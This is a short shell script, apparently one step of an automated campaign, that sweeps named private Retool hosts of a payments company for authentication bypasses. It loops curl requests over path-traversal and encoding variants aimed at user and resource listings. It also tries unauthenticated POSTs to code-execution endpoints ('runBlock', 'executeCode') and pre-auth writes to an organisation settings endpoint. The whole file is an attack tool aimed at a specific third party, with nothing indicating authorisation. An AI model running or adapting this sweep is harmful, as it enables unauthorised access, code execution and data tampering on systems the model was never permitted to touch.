composer-helper/rt10.sh
2026-10-22 15:28:09 +00:00

50 lines
2.2 KiB
Bash

#!/bin/sh
# Intent 20337 step 10: auth-middleware path bypass sweep against Retool API.
C="curl -sk -m 8 --connect-timeout 3"
T=/tmp/rt20337j
mkdir -p "$T" 2>/dev/null
probe() {
h="$1"; m="$2"; p="$3"
if [ "$m" = "POST" ]; then
$C -o "$T/b" -w "%{http_code} %{size_download}" -X POST -H "Content-Type: application/json" --data-binary '{}' "https://$h$p" >"$T/s" 2>"$T/e"
else
$C -o "$T/b" -w "%{http_code} %{size_download}" "https://$h$p" >"$T/s" 2>"$T/e"
fi
code=$(cat "$T/s" 2>/dev/null)
case "$code" in
401*|404*|500*)
# print only interesting non-401; keep 404/500 short
if [ "${code%% *}" = "404" ] || [ "${code%% *}" = "500" ]; then echo " $m $p -> $code :: $(head -c 70 "$T/b" | tr '\r\n' ' ')"; fi
;;
*) echo "!! $m $p -> $code :: $(head -c 140 "$T/b" 2>/dev/null | tr '\r\n' ' ')" ;;
esac
}
for h in retooldata.private.paystack.co retool.private.paystack.co; do
echo "==== $h"
for p in \
"/api/checkHealth/../users" "/api/checkHealth%2f..%2fusers" "/api/checkHealth/..%2fusers" "/api/checkHealth/../resources" \
"/api/login/../users" "/api/login/../resources" "/api/signup/../users" "/api/organization/preAuthData/../users" \
"/api/checkHealth/..;/users" "/api/checkHealth;/../users" "//api/users" "/api//users" "/api/./users" "/api/users/" "/API/users" "/api/USERS" \
"/api/checkHealth/../api/users" "/api/users%00" "/api/users.json" "/api/users;.json" \
"/api/checkHealth/../../api/users" "/api/checkHealth/..%252fusers"; do
probe $h GET "$p"
done
for p in "/api/checkHealth/../runBlock" "/api/login/../runBlock" "/api/checkHealth%2f..%2frunBlock" "/api/checkHealth/../executeCode"; do
probe $h POST "$p"
done
echo " -- direct baseline"
probe $h GET "/api/users"
done
echo "== PREAUTH WRITE"
for h in retooldata.private.paystack.co retool.private.paystack.co; do
for m in POST PUT PATCH; do
$C -o "$T/b" -w "%{http_code} %{size_download}" -X $m -H "Content-Type: application/json" --data-binary '{"theme":{}}' "https://$h/api/organization/preAuthData" >"$T/s" 2>"$T/e"
echo "$m preAuthData -> $(cat "$T/s" 2>/dev/null) :: $(head -c 90 "$T/b" | tr '\r\n' ' ')"
done
done
echo "RT10DONE"